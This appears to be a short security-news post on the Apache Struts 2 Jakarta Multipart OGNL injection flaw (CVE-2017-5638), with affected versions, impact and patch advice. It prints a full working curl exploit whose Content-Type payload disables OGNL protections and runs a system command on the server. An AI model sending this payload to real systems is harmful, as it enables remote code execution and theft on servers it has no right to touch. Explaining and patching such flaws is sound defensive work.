Listen to this Post
The CVE-2017-5638 vulnerability in Apache Struts 2 stems from flawed error handling within the Jakarta Multipart parser. When a malicious Content-Type header is sent in an HTTP request to a Struts 2 application, the parser attempts to process it but fails. During this failure, the framework incorrectly interprets the improperly formatted header value as an Object-Graph Navigation Language (OGNL) expression. OGNL is a powerful expression language integrated with Struts that can execute Java code and access the application’s context. The vulnerability allows an attacker to inject arbitrary OGNL expressions directly into the Content-Type header. Because these expressions are evaluated on the server-side without proper sandboxing or validation, the attacker can achieve remote code execution with the same privileges as the Struts application server, enabling them to run system commands, modify files, or steal sensitive data.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://vulnerable-target/struts2-showcase/fileupload/doUpload.action
How Exploit:
Malicious HTTP Request
OGNL Injection
Remote Command Execution
Protection from this CVE
Apply Official Patch
Upgrade Struts Version
Input Validation Filtering
Impact:
Full System Compromise
Data Theft
Service Disruption
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
